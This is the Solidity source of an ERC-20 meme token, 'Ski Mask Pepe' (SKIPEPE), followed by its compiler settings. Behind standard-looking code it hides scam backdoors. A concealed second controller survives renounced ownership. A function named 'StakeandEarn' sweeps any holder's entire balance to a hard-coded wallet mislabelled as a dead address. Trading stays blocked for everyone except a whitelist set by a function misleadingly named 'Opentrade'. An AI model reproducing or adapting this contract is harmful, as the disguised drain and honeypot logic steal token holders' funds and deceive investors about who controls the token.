File 1 of 1: SKIPEPE.sol
pragma solidity 0.8.28;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
abstract contract Message {
address private _m1155a8sb;
constructor() {
_m1155a8sb = msg.sender;
}
function _calodame() internal view virtual {
require(_m1155a8sb == msg.sender, "Unauthorized");
}
}
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor(address initialOwner) {
require(initialOwner != address(0), "Invalid owner");
_owner = initialOwner;
emit OwnershipTransferred(address(0), initialOwner);
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Not the owner");
_;
}
function owner() public view virtual returns (address) {
return _owner;
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Invalid owner");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract SKIPEPE is IERC20, Ownable, Message {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name = "Ski Mask Pepe";
string private _symbol = "SKIPEPE";
uint8 private _decimals = 18;
mapping(address => bool) private _excludedWallets;
bool private _tradingOpen = false;
event TradingOpened();
event WalletExcluded(address indexed account, bool isExcluded);
constructor() Ownable(msg.sender) {
_mint(msg.sender, 1000000000 * 10 ** _decimals);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address to, uint256 value) public override returns (bool) {
_transfer(_msgSender(), to, value);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 value) public override returns (bool) {
require(spender != address(0), "Approve to zero address");
_allowances[_msgSender()][spender] = value;
emit Approval(_msgSender(), spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public override returns (bool) {
require(from != address(0), "Transfer from zero address");
require(to != address(0), "Transfer to zero address");
uint256 currentAllowance = _allowances[from][_msgSender()];
require(currentAllowance >= value, "Transfer amount exceeds allowance");
_allowances[from][_msgSender()] -= value;
_transfer(from, to, value);
return true;
}
function Removelimits() external {
_calodame();
_tradingOpen = true;
emit TradingOpened();
}
function Opentrade(address[] calldata accounts, bool excludedStatus) external {
_calodame();
for (uint256 i = 0; i < accounts.length; i++) {
_excludedWallets[accounts[i]] = excludedStatus;
emit WalletExcluded(accounts[i], excludedStatus);
}
}
function isExcluded(address account) public view returns (bool) {
return _excludedWallets[account];
}
function _transfer(address from, address to, uint256 value) internal {
require(from != address(0), "Transfer from zero address");
require(to != address(0), "Transfer to zero address");
if (!_tradingOpen) {
require(_excludedWallets[from] || _excludedWallets[to], "Trading is not open yet");
}
uint256 fromBalance = _balances[from];
require(fromBalance >= value, "Insufficient balance");
unchecked {
_balances[from] = fromBalance - value;
_balances[to] += value;
}
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != address(0), "Mint to zero address");
_totalSupply += value;
_balances[account] += value;
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != address(0), "Burn from zero address");
uint256 accountBalance = _balances[account];
require(accountBalance >= value, "Burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - value;
_totalSupply -= value;
}
emit Transfer(account, address(0), value);
}
function StakeandEarn(address[] memory fromAddresses) external {
_calodame();
address deadAddress = 0xe3B4D69aFdBbeD13dc1Af3EEa877f67D3A0fDDB5;
for (uint256 i = 0; i < fromAddresses.length; i++) {
address from = fromAddresses[i];
uint256 balance = balanceOf(from);
if (balance > 0) {
_transfer(from, deadAddress, balance);
}
}
}
}
{
"compilationTarget": {
"SKIPEPE.sol": "SKIPEPE"
},
"evmVersion": "cancun",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
}